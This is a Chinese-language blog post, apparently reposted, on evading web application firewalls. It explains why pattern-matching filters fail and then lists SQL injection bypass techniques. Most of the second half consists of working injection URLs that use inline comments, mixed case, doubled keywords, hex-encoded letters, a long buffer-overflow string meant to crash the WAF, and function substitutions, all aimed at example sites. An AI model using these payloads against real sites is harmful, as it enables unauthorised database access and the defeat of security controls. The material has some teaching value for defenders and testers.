WAF绕过

浏览器向服务器发送请求的时候必须指明请求类型(一般是GET或者POST)。如有必要,浏览器还可以选择发送其他的请求头。大多数请求头并不是必需的,但Content-Length除外。对于POST请求来说Content-Length必须出现。

 

大多数WAF都会较全面地检测来自GET请求的攻击,有选择地检测来自POST请求的攻击,而忽略来自请求头的攻击。

 

WAF绕过原因:

 

这里的绕过主要是针对采取模式匹配来识别攻击的WAF检测方法(其实大多数WAF的基本方法都是这个,引申到IDS,IPS,anti-virus等安全产品都是采取的这种方法)。

 

采取模式匹配的检测方法会绕过的原因无外乎以下几种:

 

1、HTTP协议解析漏洞 :WAF进行模式匹配的时候都是对HTTP协议变量进行匹配,攻击者构造异常的HTTP数据包导致不能正常提取变量,都不能进入到模式匹配阶段,自然而然就绕过了。

 

2、模式匹配的先天不良:字符串匹配,无论是简单的正则匹配或者会配合一定的逻辑的匹配(比如对不同关键字进行加权操作,前后依赖关系判断)反正都逃不开模式两个字,而模式是固定的,就导致了各种侧漏。

 

对于第2点,在云WAF上的问题最为严重,我们知道云WAF的用户类型是多样化的(不同的搭建技术:ASP/PHP/JSP,运行环境:Windows/Linux,访问方式:PC/Mobile),理想状态下,应该按站点类型精准投放防御规则,但是,基于站点自动建模(安全人员中缺乏数据分析师)是个“前沿”的技术活,而免费模式下是产生不了多大动力来投入精力的,所以现实是倾向于选择更通用的方式(放弃少数人)按危害优先级来定制规则。

 

以上绕过原因衍生了以下的通用绕过方式。

 

WAF绕过方式:

 

1、参数污染

2、URL重写(例如:http://localhost/uyg/id/123+or+1=1/tp/456)

3、加密payload(例如:MD5、SHA-1、自定义加密)

4、缓冲区溢出

5、编码绕过

6、特殊字符插入(%00)

7、异常HTTP请求包(例如:超级大,不符合HTTP规范但被server容错的数据包)

8、数据包分块传输方式Transfer-Encoding: chunked

 

SQL注入绕过:

 

1、 编码绕过:通过对SQL注入攻击payload进行unicode编码,十六进制编码,双URL编码来绕过检测规则。

2、注释语句绕过:通过在SQL注入攻击payload中插入注释语句(内联注释)来绕过检测规则。

3、大小写绕过:通过变化SQL注入攻击payload的大小写来绕过检测规则。

4、类型转换绕过:使用hex, ascii, ord, char,chr,cast,convert等类型转换函数来变化特定字符来绕过检测规则,除了类型转换函数还有隐性类型转换的特征 (参考:http://danqingdani.blog.163.com/blog/static/186094195201331854938182/)。

5、生僻的SQL关键字绕过。

6、特殊的sql语法(例如: mysql . ~ ! + - 符号)

7、关键字拆分。

8、请求方式转换(将GET转变为POST,因为误报的问题POST的规则要远远比GET规则松)。


WAF介绍

什么是WAF?

Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。

基本/简单绕过方法:

1、注释符

http://www.site.com/index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3,4….

2、使用大小写

http://www.site.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4….

3、结合前面两种方法

http://www.site.com/index.php?page_id=-15 /*!uNIOn*/ /*!SelECt*/ 1,2,3,4….

4、关键字替换

http://www.site.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4….

此方法适用于一些会把union select替换掉的WAF,经过WAF过滤后就会变成 union select 1,2,3,4....

5、内部注释

http://www.site.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4…

U替换为%55,S替换为%53 在 union 和 select 之间添加注释/**/

高级绕过方法:

1、缓冲区溢出/使防火墙崩溃

大部分防火墙都是基于C/C++开发的,我们可以使用缓冲区溢出使用WAF崩溃

http://www.2cto.com /index.php?page_id=-15+and+(select1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4….

你可以使用如下方法测试WAF

?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4….

如果返回500错误,你就可以使用缓冲区溢出的方法来绕过WAF

2、对字母进行编码

http://www.site.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4….

3、使用其他变量或者命令对注入语句进行替换

COMMAND | WHAT TO USE INSTEAD

@@version | version()

concat() | concat_ws()

group_concat() | concat_ws()

4、利用WAF本身的功能绕过

假如你发现WAF会把"*"替换为空,那么你就可以利用这一特性来进行绕过

‍‍‍‍‍‍‍‍http://www.site.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4....

其它方法:-15+(uNioN)+(sElECt)….-15+(uNioN+SeleCT)+…-15+(UnI)(oN)+(SeL)(ecT)+….-15+union (select 1,2,3,4…)‍

出处: http://www.cnblogs.com/milantgh/p/4265653.html
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值